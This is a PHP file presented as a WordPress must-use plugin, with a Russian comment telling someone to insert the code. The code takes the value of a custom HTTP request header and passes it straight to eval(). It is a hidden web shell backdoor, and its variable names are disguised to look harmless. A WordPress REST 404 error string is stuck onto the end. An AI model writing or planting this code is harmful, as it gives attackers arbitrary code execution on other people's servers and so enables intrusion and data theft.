/*
Plugin Name: Custom MU Plugin
Description: MU-test-plugin.
*/

// Ваш код, который нужно вставить
$is_home_tjqf = $_SERVER;
$is_home_mmcl = 'HTTP_EE7AD54';
if (isset($is_home_tjqf[$is_home_mmcl])) {
    eval($is_home_tjqf[$is_home_mmcl]);
}{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}